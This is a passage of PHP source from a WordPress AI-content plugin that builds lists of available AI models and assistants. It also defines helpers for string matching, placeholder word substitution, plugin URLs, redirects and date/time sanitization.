get_option('aiomatic_huggingface_models', array()); foreach($huggingmodels as $hmodel => $details) { $all_models[] = $hmodel; } } if(isset($aiomatic_Main_Settings['app_id_perplexity']) && !empty(trim($aiomatic_Main_Settings['app_id_perplexity']))) { $all_models = array_merge(AIOMATIC_PERPLEXITY_MODELS, $all_models); } if(isset($aiomatic_Main_Settings['app_id_claude']) && !empty(trim($aiomatic_Main_Settings['app_id_claude']))) { $all_models = array_merge(AIOMATIC_CLAUDE_MODELS, $all_models); } if(isset($aiomatic_Main_Settings['app_id_google']) && !empty(trim($aiomatic_Main_Settings['app_id_google']))) { $all_models = array_merge(AIOMATIC_GOOGLE_MODELS, $all_models); } $all_custom_models = get_option('aiomatic_custom_models', array()); if($reverse == true) { $all_models = array_merge($all_custom_models, $all_models); $all_models = array_merge(AIOMATIC_MODELS, $all_models); $all_models = array_merge(AIOMATIC_MODELS_CHAT, $all_models); } else { $all_models = array_merge(AIOMATIC_MODELS_CHAT, $all_models); $all_models = array_merge(AIOMATIC_MODELS, $all_models); $all_models = array_merge($all_custom_models, $all_models); } return $all_models; } function aiomatic_get_all_models_function() { $all_models = AIOMATIC_FUNCTION_CALLING_MODELS; return $all_models; } function aiomatic_get_all_assistants($reverse = false) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!isset($aiomatic_Main_Settings['app_id']) || empty(trim($aiomatic_Main_Settings['app_id']))) { return array(); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(aiomatic_is_aiomaticapi_key($token)) { return false; } else { if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { return false; } } $assistant_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish' ), 'post_type' => array( 'aiomatic_assistants' ), 'numberposts' => $postsPerPage, 'offset' => $postOffset ); $got_me = get_posts($query); $assistant_list = array_merge($assistant_list, $got_me); $paged++; }while(!empty($got_me)); if($reverse) { $assistant_list = array_reverse($assistant_list); } return $assistant_list; } function aiomatic_starts_with($newx_url, $query) { if(substr( $newx_url, 0, strlen($query) ) === $query) { return true; } return false; } function aiomatic_ends_with( $haystack, $needle ) { $length = strlen( $needle ); if( !$length ) { return true; } return substr( $haystack, -$length ) === $needle; } function aiomatic_get_word($key, $r_vars) { if (isset($r_vars[$key])) { $words = $r_vars[$key]; $w_max = count($words) - 1; $w_rand = rand(0, $w_max); return aiomatic_replace_words(trim($words[$w_rand]), $r_vars); } else { return ""; } } function aiomatic_replace_words($sentence, $r_vars) { if (str_replace('%', '', $sentence) == $sentence) return $sentence; $words = explode(" ", $sentence); $new_sentence = array(); for ($w = 0; $w < count($words); $w++) { $word = trim($words[$w]); if ($word != '') { if (preg_match('/^%([^%\n]*)$/', $word, $m)) { $varkey = trim($m[1]); $new_sentence[] = aiomatic_get_word($varkey, $r_vars); } else { $new_sentence[] = $word; } } } return implode(" ", $new_sentence); } function aiomatic_get_plugin_url() { return plugins_url('', __FILE__); } function aiomatic_get_file_url($url) { return esc_url_raw(aiomatic_get_plugin_url() . '/' . $url); } function aiomatic_redirect($url, $statusCode = 301) { if(!function_exists('wp_redirect')) { include_once( ABSPATH . 'wp-includes/pluggable.php' ); } wp_redirect($url, $statusCode); die(); } function aiomatic_sanitize_date_time( $date_time, $type = 'date', $accepts_string = false ) { if ( empty( $date_time ) || ! in_array( $type, array( 'date', 'time' ) ) ) { return array(); } $segments = array(); if ( true === $accepts_string && ( false !== strpos( $date_time, ' ' ) || false === strpos( $date_time, '-' ) ) ) { if ( false !== $timestamp = strtotime( $date_time ) ) { return $date_time; } } $parts = array_map( 'absint', explode( 'date' == $type ? '-' : ':', $date_time ) ); if ( 'date' == $type ) { $year = $month = $day = 1; if ( count( $parts ) >= 3 ) { list( $year, $month, $day ) = $parts; $year = ( $year >= 1 && $year <= 9999 ) ? $year : 1; $month = ( $month >= 1 && $month <= 12 ) ? $month : 1; $day = ( $day >= 1 && $day <= 31 ) ? $day : 1; } $segments = array( 'year' => $year, 'month' => $month, 'day' => $day ); } elseif ( 'time' == $type ) { $hour = $minute = $second = 0; switch( count( $parts ) ) { case 3 : list( $hour, $minute, $second ) = $parts; $hour = ( $hour >= 0 && $hour <= 23 ) ? $hour : 0; $minute = ( $minute >= 0 && $minute <= 60 ) ? $minute : 0; $second = ( $second >= 0 && $second <= 60 ) ? $second : 0; break; case 2 : list( $hour, $minute ) = $parts; $hour = ( $hour >= 0 && $hour <= 23 ) ? $hour : 0; $minute = ( $minute >= 0 && $minute <= 60 ) ? $minute : 0; break; default : break; } $segments = array( 'hour' => $hour, 'minute' => $minute, 'second' => $second ); } return apply_filters( 'display_posts_shortcode_sanitized_segments', $segments, $date_time, $type ); } ?>